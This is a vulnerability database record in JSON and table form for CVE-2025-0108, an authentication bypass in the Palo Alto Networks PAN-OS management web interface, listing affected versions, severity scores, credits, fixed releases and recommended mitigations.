{
"lang": "en",
"supportingMedia": [
{
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"value": "\u003cp\u003e\u003c/p\u003e\u003cp\u003e\u003cb\u003eRecommended mitigation\u003c/b\u003e\u2014The vast majority of firewalls already follow Palo Alto Networks and industry best practices. However, if you have not already, we strongly recommend that you secure access to your management interface according to our \u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431\"\u003ebest practices deployment guidelines\u003c/a\u003e. Specifically, you should restrict management interface access to only trusted internal IP addresses.\u003c/p\u003e\u003cp\u003eReview information about how to secure management access to your Palo Alto Networks firewalls:\u003c/p\u003e\u003cul\u003e\u003cli\u003ePalo Alto Networks LIVEcommunity article:\u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431\"\u003ehttps://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431\u003c/a\u003e\u003c/li\u003e\u003cli\u003ePalo Alto Networks official and detailed technical documentation:\u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices\"\u003ehttps://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003eAdditionally, customers with a Threat Prevention subscription can block attacks for this vulnerability by enabling Threat ID 510000 and 510001 (introduced in Applications and Threats content version 8943).\u003cbr\u003e\u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices\"\u003e\u003c/a\u003e"
}
],
"value": "Recommended mitigation\u2014The vast majority of firewalls already follow Palo Alto Networks and industry best practices. However, if you have not already, we strongly recommend that you secure access to your management interface according to our https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 \n * Palo Alto Networks official and detailed technical documentation: https://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices \n\n\nAdditionally, customers with a Threat Prevention subscription can block attacks for this vulnerability by enabling Threat ID 510000 and 510001 (introduced in Applications and Threats content version 8943).\n https://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices"
}
],
"x_affectedList": [
"PAN-OS 11.2.4-h3",
"PAN-OS 11.2.4-h2",
"PAN-OS 11.2.4-h1",
"PAN-OS 11.2.4",
"PAN-OS 11.2.3-h5",
"PAN-OS 11.2.3-h4",
"PAN-OS 11.2.3-h3",
"PAN-OS 11.2.3-h2",
"PAN-OS 11.2.3-h1",
"PAN-OS 11.2.3",
"PAN-OS 11.2.2-h2",
"PAN-OS 11.2.2-h1",
"PAN-OS 11.2.1-h1",
"PAN-OS 11.2.1",
"PAN-OS 11.2.0-h1",
"PAN-OS 11.2.0",
"PAN-OS 11.1.6",
"PAN-OS 11.1.5-h1",
"PAN-OS 11.1.5",
"PAN-OS 11.1.4-h9",
"PAN-OS 11.1.4-h8",
"PAN-OS 11.1.4-h7",
"PAN-OS 11.1.4-h6",
"PAN-OS 11.1.4-h5",
"PAN-OS 11.1.4-h4",
"PAN-OS 11.1.4-h3",
"PAN-OS 11.1.4-h2",
"PAN-OS 11.1.4-h1",
"PAN-OS 11.1.4",
"PAN-OS 11.1.3-h13",
"PAN-OS 11.1.3-h12",
"PAN-OS 11.1.3-h11",
"PAN-OS 11.1.3-h10",
"PAN-OS 11.1.3-h9",
"PAN-OS 11.1.3-h8",
"PAN-OS 11.1.3-h7",
"PAN-OS 11.1.3-h6",
"PAN-OS 11.1.3-h5",
"PAN-OS 11.1.3-h4",
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"datePublished": "2025-02-12T20:58:43.387Z",
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CVE-2025-0108 (GCVE-0-2025-0108)
Vulnerability from nvd – Published: 2025-02-12 20:55 – Updated: 2026-02-26 19:08
VLAI?
Title
PAN-OS: Authentication Bypass in the Management Web Interface
Summary
An authentication bypass in the Palo Alto Networks PAN-OS software enables an unauthenticated attacker with network access to the management web interface to bypass the authentication otherwise required by the PAN-OS management web interface and invoke certain PHP scripts. While invoking these PHP scripts does not enable remote code execution, it can negatively impact integrity and confidentiality of PAN-OS.
You can greatly reduce the risk of this issue by restricting access to the management web interface to only trusted internal IP addresses according to our recommended best practices deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .
This issue does not affect Cloud NGFW or Prisma Access software.
Severity ?
CWE
- CWE-306 - Missing Authentication for Critical Function
Assigner
References
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
Impacted products
| Vendor | Product | Version | ||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Palo Alto Networks | Cloud NGFW |
Unaffected:
All
(custom)
|
||||||||||||
|
||||||||||||||
Date Public ?
2025-02-12 17:00
Credits
Adam Kues - Assetnote Security Research Team
our Deep Product Security Research Team
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],
"defaultStatus": "unaffected",
"product": "PAN-OS",
"vendor": "Palo Alto Networks",
"versions": [
{
"changes": [
{
"at": "10.1.14-h9",
"status": "unaffected"
}
],
"lessThan": "10.1.14-h9",
"status": "affected",
"version": "10.1.0",
"versionType": "custom"
},
{
"changes": [
{
"at": "10.2.7-h24",
"status": "unaffected"
},
{
"at": "10.2.8-h21",
"status": "unaffected"
},
{
"at": "10.2.9-h21",
"status": "unaffected"
},
{
"at": "10.2.12-h6",
"status": "unaffected"
},
{
"at": "10.2.13-h3",
"status": "unaffected"
},
{
"at": "10.2.10-h14",
"status": "unaffected"
},
{
"at": "10.2.11-h12",
"status": "unaffected"
}
],
"lessThan": "10.2.7-h24",
"status": "affected",
"version": "10.2.0",
"versionType": "custom"
},
{
"changes": [
{
"at": "11.1.6-h1",
"status": "unaffected"
},
{
"at": "11.1.2-h18",
"status": "unaffected"
}
],
"lessThan": "11.1.6-h1",
"status": "affected",
"version": "11.1.0",
"versionType": "custom"
},
{
"changes": [
{
"at": "11.2.4-h4",
"status": "unaffected"
}
],
"lessThan": "11.2.4-h4",
"status": "affected",
"version": "11.2.0",
"versionType": "custom"
}
]
},
{
"defaultStatus": "unaffected",
"product": "Prisma Access",
"vendor": "Palo Alto Networks",
"versions": [
{
"status": "unaffected",
"version": "All",
"versionType": "custom"
}
]
}
],
"configurations": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003e\u003cspan\u003eThe risk is greatest if you enabled access to the management interface from the internet or any untrusted network either:\u003c/span\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cspan\u003eDirectly; or\u003c/span\u003e\u003c/li\u003e\u003cli\u003e\u003cspan\u003eThrough a dataplane interface that includes a management interface profile.\u003c/span\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cspan\u003eYou greatly reduce the risk if you ensure that you allow only trusted internal IP addresses to access the management interface.\u003c/span\u003e\u003c/p\u003e\u003cp\u003e\u003cspan\u003eUse the following steps to identify your recently detected devices in our internet scans.\u003c/span\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cspan\u003eTo find any assets that require remediation action, visit the Assets section of the Customer Support Portal at\u0026nbsp;\u003c/span\u003e\u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://support.paloaltonetworks.com/\"\u003e\u003cspan\u003ehttps://support.paloaltonetworks.com\u003c/span\u003e\u003c/a\u003e\u0026nbsp;(Products \u2192 Assets \u2192 All Assets \u2192 Remediation Required).\u003c/li\u003e\u003cli\u003e\u003cspan\u003eReview the list of your devices that we discovered in our scans to have an internet-facing management interface and that we tagged with \u2018PAN-SA-2024-0015\u2019 and a last seen timestamp (in UTC). If you do not see any such devices listed, then our scan did not find any devices on your account to have an internet-facing management interface within the past three days.\u003c/span\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cspan\u003eGlobalProtect portals and gateways are not vulnerable to this issue. However, if you configure a management profile on interfaces with GlobalProtect portals or gateways, then you expose the device to attacks through the management web interface (typically accessible on port 4443).\u003c/span\u003e\u003c/p\u003e"
}
],
"value": "The risk is greatest if you enabled access to the management interface from the internet or any untrusted network either:\n\n * Directly; or\n * Through a dataplane interface that includes a management interface profile.\nYou greatly reduce the risk if you ensure that you allow only trusted internal IP addresses to access the management interface.\n\nUse the following steps to identify your recently detected devices in our internet scans.\n\n * To find any assets that require remediation action, visit the Assets section of the Customer Support Portal at\u00a0 https://support.paloaltonetworks.com https://support.paloaltonetworks.com/ \u00a0(Products \u2192 Assets \u2192 All Assets \u2192 Remediation Required).\n * Review the list of your devices that we discovered in our scans to have an internet-facing management interface and that we tagged with \u2018PAN-SA-2024-0015\u2019 and a last seen timestamp (in UTC). If you do not see any such devices listed, then our scan did not find any devices on your account to have an internet-facing management interface within the past three days.\nGlobalProtect portals and gateways are not vulnerable to this issue. However, if you configure a management profile on interfaces with GlobalProtect portals or gateways, then you expose the device to attacks through the management web interface (typically accessible on port 4443)."
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Adam Kues - Assetnote Security Research Team"
},
{
"lang": "en",
"type": "finder",
"value": "our Deep Product Security Research Team"
}
],
"datePublic": "2025-02-12T17:00:00.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "An authentication bypass in the Palo Alto Networks PAN-OS software enables an unauthenticated attacker with network access to the management web interface to bypass the authentication otherwise required by the PAN-OS management web interface and invoke certain PHP scripts. While invoking these PHP scripts does not enable remote code execution, it can negatively impact integrity and confidentiality of PAN-OS.\u003cb\u003e\u003cbr\u003e\u003cbr\u003e\u003c/b\u003eYou can greatly reduce the risk of this issue by restricting access to the management web interface to only trusted internal IP addresses according to our recommended \u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431\"\u003ebest practices deployment guidelines\u003c/a\u003e.\u003cb\u003e\u003cbr\u003e\u003cbr\u003e\u003c/b\u003eThis issue does not affect Cloud NGFW or Prisma Access software."
}
],
"value": "An authentication bypass in the Palo Alto Networks PAN-OS software enables an unauthenticated attacker with network access to the management web interface to bypass the authentication otherwise required by the PAN-OS management web interface and invoke certain PHP scripts. While invoking these PHP scripts does not enable remote code execution, it can negatively impact integrity and confidentiality of PAN-OS.\n\nYou can greatly reduce the risk of this issue by restricting access to the management web interface to only trusted internal IP addresses according to our recommended best practices deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .\n\nThis issue does not affect Cloud NGFW or Prisma Access software."
}
],
"exploits": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003ePalo Alto Networks has observed exploit attempts chaining CVE-2025-0108 with CVE-2024-9474 and CVE-2025-0111 on unpatched and unsecured PAN-OS web management interfaces.\u003c/p\u003e"
}
],
"value": "Palo Alto Networks has observed exploit attempts chaining CVE-2025-0108 with CVE-2024-9474 and CVE-2025-0111 on unpatched and unsecured PAN-OS web management interfaces."
}
],
"impacts": [
{
"capecId": "CAPEC-115",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-115 Authentication Bypass"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NO",
"Recovery": "USER",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"privilegesRequired": "NONE",
"providerUrgency": "RED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "CONCENTRATED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/AU:N/R:U/V:C/RE:M/U:Red",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "LOW",
"vulnerabilityResponseEffort": "MODERATE"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "The risk is highest when you allow access to the management interface from external IP addresses on the internet."
}
]
},
{
"cvssV4_0": {
"Automatable": "NO",
"Recovery": "USER",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"privilegesRequired": "HIGH",
"providerUrgency": "GREEN",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "CONCENTRATED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/AU:N/R:U/V:C/RE:M/U:Green",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "LOW",
"vulnerabilityResponseEffort": "MODERATE"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "You can greatly reduce the risk of exploitation by restricting access to a jump box that is the only system allowed to access the management interface. This will ensure that attacks can succeed only if they obtain privileged access through those specified IP addresses."
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-306",
"description": "CWE-306 Missing Authentication for Critical Function",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2025-02-19T23:48:08.215Z",
"orgId": "d6c1279f-00f6-4ef7-9217-f89ffe703ec0",
"shortName": "palo_alto"
},
"references": [
{
"tags": [
"vendor-advisory"
],
"url": "https://security.paloaltonetworks.com/CVE-2025-0108"
}
],
"solutions": [
{
"lang": "en",
"supportingMedia": [
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"value": "\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003eVersion\u003cbr\u003e\u003c/th\u003e\u003cth\u003eMinor Version\u003cbr\u003e\u003c/th\u003e\u003cth\u003eSuggested Solution\u003cbr\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003ePAN-OS 10.1\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e10.1.0 through 10.1.14\u003cbr\u003e\u003c/td\u003e\u003ctd\u003eUpgrade to 10.1.14-h9 or later\u003cbr\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePAN-OS 10.2\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e10.2.0 through 10.2.13\u003cbr\u003e\u003c/td\u003e\u003ctd\u003eUpgrade to 10.2.13-h3 or later\u003cbr\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u0026nbsp;\u003c/td\u003e\u003ctd\u003e10.2.7\u003c/td\u003e\u003ctd\u003eUpgrade to 10.2.7-h24 or 10.2.13-h3 or later\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u0026nbsp;\u003c/td\u003e\u003ctd\u003e10.2.8\u003c/td\u003e\u003ctd\u003eUpgrade to 10.2.8-h21 or 10.2.13-h3 or later\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u0026nbsp;\u003c/td\u003e\u003ctd\u003e10.2.9\u003c/td\u003e\u003ctd\u003eUpgrade to 10.2.9-h21 or 10.2.13-h3 or later\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u0026nbsp;\u003c/td\u003e\u003ctd\u003e10.2.10\u003c/td\u003e\u003ctd\u003eUpgrade to 10.2.10-h14 or 10.2.13-h3 or later\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u0026nbsp;\u003c/td\u003e\u003ctd\u003e10.2.11\u003c/td\u003e\u003ctd\u003eUpgrade to 10.2.11-h12 or 10.2.13-h3 or later\u0026nbsp;\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u0026nbsp;\u003c/td\u003e\u003ctd\u003e10.2.12\u003c/td\u003e\u003ctd\u003eUpgrade to 10.2.12-h6 or 10.2.13-h3 or later\u003cbr\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePAN-OS 11.0 (EoL)\u003c/td\u003e\u003ctd\u003e\u0026nbsp;\u003c/td\u003e\u003ctd\u003eUpgrade to a supported fixed version\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePAN-OS 11.1\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e11.1.0 through 11.1.6\u003cbr\u003e\u003c/td\u003e\u003ctd\u003eUpgrade to 11.1.6-h1 or later\u003cbr\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u0026nbsp;\u003c/td\u003e\u003ctd\u003e11.1.2\u003c/td\u003e\u003ctd\u003eUpgrade to 11.1.2-h18 or 11.1.6-h1 or later\u003cbr\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePAN-OS 11.2\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e11.2.0 through 11.2.4\u003cbr\u003e\u003c/td\u003e\u003ctd\u003eUpgrade to 11.2.4-h4 or later\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003eNote: PAN-OS 11.0 reached end of life (EoL) on November 17, 2024. No additional fixes are planned for this release.\u003c/p\u003e"
}
],
"value": "Version\nMinor Version\nSuggested Solution\nPAN-OS 10.1\n10.1.0 through 10.1.14\nUpgrade to 10.1.14-h9 or later\nPAN-OS 10.2\n10.2.0 through 10.2.13\nUpgrade to 10.2.13-h3 or later\n\u00a010.2.7Upgrade to 10.2.7-h24 or 10.2.13-h3 or later\u00a010.2.8Upgrade to 10.2.8-h21 or 10.2.13-h3 or later\u00a010.2.9Upgrade to 10.2.9-h21 or 10.2.13-h3 or later\u00a010.2.10Upgrade to 10.2.10-h14 or 10.2.13-h3 or later\u00a010.2.11Upgrade to 10.2.11-h12 or 10.2.13-h3 or later\u00a0\u00a010.2.12Upgrade to 10.2.12-h6 or 10.2.13-h3 or later\nPAN-OS 11.0 (EoL)\u00a0Upgrade to a supported fixed versionPAN-OS 11.1\n11.1.0 through 11.1.6\nUpgrade to 11.1.6-h1 or later\n\u00a011.1.2Upgrade to 11.1.2-h18 or 11.1.6-h1 or later\nPAN-OS 11.2\n11.2.0 through 11.2.4\nUpgrade to 11.2.4-h4 or laterNote: PAN-OS 11.0 reached end of life (EoL) on November 17, 2024. No additional fixes are planned for this release."
}
],
"source": {
"defect": [
"PAN-273971"
],
"discovery": "EXTERNAL"
},
"timeline": [
{
"lang": "en",
"time": "2025-02-19T23:15:00.000Z",
"value": "Updated fix availability for PAN-OS 10.2 and 11.1"
},
{
"lang": "en",
"time": "2025-02-18T23:00:00.000Z",
"value": "Updated the exploit status and solutions table"
},
{
"lang": "en",
"time": "2025-02-18T19:30:00.000Z",
"value": "Updated fix availability for PAN-OS 10.2"
},
{
"lang": "en",
"time": "2025-02-18T07:06:00.000Z",
"value": "Updated exploit status"
},
{
"lang": "en",
"time": "2025-02-12T23:45:00.000Z",
"value": "Added Threat Prevention Threat ID to Workarounds and Mitigations"
},
{
"lang": "en",
"time": "2025-02-12T17:00:00.000Z",
"value": "Initial Publication"
}
],
"title": "PAN-OS: Authentication Bypass in the Management Web Interface",
"workarounds": [
{
"lang": "en",
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"value": "\u003cp\u003e\u003cb\u003eRecommended mitigation\u003c/b\u003e\u2014The vast majority of firewalls already follow Palo Alto Networks and industry best practices. However, if you have not already, we strongly recommend that you secure access to your management interface according to our\u0026nbsp;\u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431\"\u003ebest practices deployment guidelines\u003c/a\u003e. Specifically, you should restrict management interface access to only trusted internal IP addresses.\u003c/p\u003e\u003cp\u003eReview information about how to secure management access to your Palo Alto Networks firewalls:\u003c/p\u003e\u003cul\u003e\u003cli\u003ePalo Alto Networks LIVEcommunity article:\u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431\"\u003ehttps://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431\u003c/a\u003e\u003c/li\u003e\u003cli\u003ePalo Alto Networks official and detailed technical documentation:\u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices\"\u003ehttps://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003eAdditionally, customers with a Threat Prevention subscription can block attacks for this vulnerability by enabling Threat ID 510000 and 510001 (introduced in Applications and Threats content version 8943)."
}
],
"value": "Recommended mitigation\u2014The vast majority of firewalls already follow Palo Alto Networks and industry best practices. However, if you have not already, we strongly recommend that you secure access to your management interface according to our\u00a0 https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 \n * Palo Alto Networks official and detailed technical documentation: https://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices \n\n\nAdditionally, customers with a Threat Prevention subscription can block attacks for this vulnerability by enabling Threat ID 510000 and 510001 (introduced in Applications and Threats content version 8943)."
}
],
"x_affectedList": [
"PAN-OS 11.2.4-h3",
"PAN-OS 11.2.4-h2",
"PAN-OS 11.2.4-h1",
"PAN-OS 11.2.4",
"PAN-OS 11.2.3-h5",
"PAN-OS 11.2.3-h4",
"PAN-OS 11.2.3-h3",
"PAN-OS 11.2.3-h2",
"PAN-OS 11.2.3-h1",
"PAN-OS 11.2.3",
"PAN-OS 11.2.2-h2",
"PAN-OS 11.2.2-h1",
"PAN-OS 11.2.1-h1",
"PAN-OS 11.2.1",
"PAN-OS 11.2.0-h1",
"PAN-OS 11.2.0",
"PAN-OS 11.1.6",
"PAN-OS 11.1.5-h1",
"PAN-OS 11.1.5",
"PAN-OS 11.1.4-h9",
"PAN-OS 11.1.4-h8",
"PAN-OS 11.1.4-h7",
"PAN-OS 11.1.4-h6",
"PAN-OS 11.1.4-h5",
"PAN-OS 11.1.4-h4",
"PAN-OS 11.1.4-h3",
"PAN-OS 11.1.4-h2",
"PAN-OS 11.1.4-h1",
"PAN-OS 11.1.4",
"PAN-OS 11.1.3-h13",
"PAN-OS 11.1.3-h12",
"PAN-OS 11.1.3-h11",
"PAN-OS 11.1.3-h10",
"PAN-OS 11.1.3-h9",
"PAN-OS 11.1.3-h8",
"PAN-OS 11.1.3-h7",
"PAN-OS 11.1.3-h6",
"PAN-OS 11.1.3-h5",
"PAN-OS 11.1.3-h4",
"PAN-OS 11.1.3-h3",
"PAN-OS 11.1.3-h2",
"PAN-OS 11.1.3-h1",
"PAN-OS 11.1.3",
"PAN-OS 11.1.2-h17",
"PAN-OS 11.1.2-h16",
"PAN-OS 11.1.2-h15",
"PAN-OS 11.1.2-h14",
"PAN-OS 11.1.2-h13",
"PAN-OS 11.1.2-h12",
"PAN-OS 11.1.2-h11",
"PAN-OS 11.1.2-h10",
"PAN-OS 11.1.2-h9",
"PAN-OS 11.1.2-h8",
"PAN-OS 11.1.2-h7",
"PAN-OS 11.1.2-h6",
"PAN-OS 11.1.2-h5",
"PAN-OS 11.1.2-h4",
"PAN-OS 11.1.2-h3",
"PAN-OS 11.1.2-h2",
"PAN-OS 11.1.2-h1",
"PAN-OS 11.1.2",
"PAN-OS 11.1.1-h2",
"PAN-OS 11.1.1-h1",
"PAN-OS 11.1.1",
"PAN-OS 11.1.0-h4",
"PAN-OS 11.1.0-h3",
"PAN-OS 11.1.0-h2",
"PAN-OS 11.1.0-h1",
"PAN-OS 11.1.0",
"PAN-OS 10.2.13-h2",
"PAN-OS 10.2.13-h1",
"PAN-OS 10.2.13",
"PAN-OS 10.2.12-h5",
"PAN-OS 10.2.12-h4",
"PAN-OS 10.2.12-h3",
"PAN-OS 10.2.12-h2",
"PAN-OS 10.2.12-h1",
"PAN-OS 10.2.12",
"PAN-OS 10.2.11-h11",
"PAN-OS 10.2.11-h10",
"PAN-OS 10.2.11-h9",
"PAN-OS 10.2.11-h8",
"PAN-OS 10.2.11-h7",
"PAN-OS 10.2.11-h6",
"PAN-OS 10.2.11-h5",
"PAN-OS 10.2.11-h4",
"PAN-OS 10.2.11-h3",
"PAN-OS 10.2.11-h2",
"PAN-OS 10.2.11-h1",
"PAN-OS 10.2.11",
"PAN-OS 10.2.10-h13",
"PAN-OS 10.2.10-h12",
"PAN-OS 10.2.10-h11",
"PAN-OS 10.2.10-h10",
"PAN-OS 10.2.10-h9",
"PAN-OS 10.2.10-h8",
"PAN-OS 10.2.10-h7",
"PAN-OS 10.2.10-h6",
"PAN-OS 10.2.10-h5",
"PAN-OS 10.2.10-h4",
"PAN-OS 10.2.10-h3",
"PAN-OS 10.2.10-h2",
"PAN-OS 10.2.10-h1",
"PAN-OS 10.2.10",
"PAN-OS 10.2.9-h20",
"PAN-OS 10.2.9-h19",
"PAN-OS 10.2.9-h18",
"PAN-OS 10.2.9-h17",
"PAN-OS 10.2.9-h16",
"PAN-OS 10.2.9-h15",
"PAN-OS 10.2.9-h14",
"PAN-OS 10.2.9-h13",
"PAN-OS 10.2.9-h12",
"PAN-OS 10.2.9-h11",
"PAN-OS 10.2.9-h10",
"PAN-OS 10.2.9-h9",
"PAN-OS 10.2.9-h8",
"PAN-OS 10.2.9-h7",
"PAN-OS 10.2.9-h6",
"PAN-OS 10.2.9-h5",
"PAN-OS 10.2.9-h4",
"PAN-OS 10.2.9-h3",
"PAN-OS 10.2.9-h2",
"PAN-OS 10.2.9-h1",
"PAN-OS 10.2.9",
"PAN-OS 10.2.8-h20",
"PAN-OS 10.2.8-h19",
"PAN-OS 10.2.8-h18",
"PAN-OS 10.2.8-h17",
"PAN-OS 10.2.8-h16",
"PAN-OS 10.2.8-h15",
"PAN-OS 10.2.8-h14",
"PAN-OS 10.2.8-h13",
"PAN-OS 10.2.8-h12",
"PAN-OS 10.2.8-h11",
"PAN-OS 10.2.8-h10",
"PAN-OS 10.2.8-h9",
"PAN-OS 10.2.8-h8",
"PAN-OS 10.2.8-h7",
"PAN-OS 10.2.8-h6",
"PAN-OS 10.2.8-h5",
"PAN-OS 10.2.8-h4",
"PAN-OS 10.2.8-h3",
"PAN-OS 10.2.8-h2",
"PAN-OS 10.2.8-h1",
"PAN-OS 10.2.8",
"PAN-OS 10.2.7-h23",
"PAN-OS 10.2.7-h22",
"PAN-OS 10.2.7-h21",
"PAN-OS 10.2.7-h20",
"PAN-OS 10.2.7-h19",
"PAN-OS 10.2.7-h18",
"PAN-OS 10.2.7-h17",
"PAN-OS 10.2.7-h16",
"PAN-OS 10.2.7-h15",
"PAN-OS 10.2.7-h14",
"PAN-OS 10.2.7-h13",
"PAN-OS 10.2.7-h12",
"PAN-OS 10.2.7-h11",
"PAN-OS 10.2.7-h10",
"PAN-OS 10.2.7-h9",
"PAN-OS 10.2.7-h8",
"PAN-OS 10.2.7-h7",
"PAN-OS 10.2.7-h6",
"PAN-OS 10.2.7-h5",
"PAN-OS 10.2.7-h4",
"PAN-OS 10.2.7-h3",
"PAN-OS 10.2.7-h2",
"PAN-OS 10.2.7-h1",
"PAN-OS 10.2.7",
"PAN-OS 10.2.6-h6",
"PAN-OS 10.2.6-h5",
"PAN-OS 10.2.6-h4",
"PAN-OS 10.2.6-h3",
"PAN-OS 10.2.6-h2",
"PAN-OS 10.2.6-h1",
"PAN-OS 10.2.6",
"PAN-OS 10.2.5-h9",
"PAN-OS 10.2.5-h8",
"PAN-OS 10.2.5-h7",
"PAN-OS 10.2.5-h6",
"PAN-OS 10.2.5-h5",
"PAN-OS 10.2.5-h4",
"PAN-OS 10.2.5-h3",
"PAN-OS 10.2.5-h2",
"PAN-OS 10.2.5-h1",
"PAN-OS 10.2.5",
"PAN-OS 10.2.4-h32",
"PAN-OS 10.2.4-h31",
"PAN-OS 10.2.4-h30",
"PAN-OS 10.2.4-h29",
"PAN-OS 10.2.4-h28",
"PAN-OS 10.2.4-h27",
"PAN-OS 10.2.4-h26",
"PAN-OS 10.2.4-h25",
"PAN-OS 10.2.4-h24",
"PAN-OS 10.2.4-h23",
"PAN-OS 10.2.4-h22",
"PAN-OS 10.2.4-h21",
"PAN-OS 10.2.4-h20",
"PAN-OS 10.2.4-h19",
"PAN-OS 10.2.4-h18",
"PAN-OS 10.2.4-h17",
"PAN-OS 10.2.4-h16",
"PAN-OS 10.2.4-h15",
"PAN-OS 10.2.4-h14",
"PAN-OS 10.2.4-h13",
"PAN-OS 10.2.4-h12",
"PAN-OS 10.2.4-h11",
"PAN-OS 10.2.4-h10",
"PAN-OS 10.2.4-h9",
"PAN-OS 10.2.4-h8",
"PAN-OS 10.2.4-h7",
"PAN-OS 10.2.4-h6",
"PAN-OS 10.2.4-h5",
"PAN-OS 10.2.4-h4",
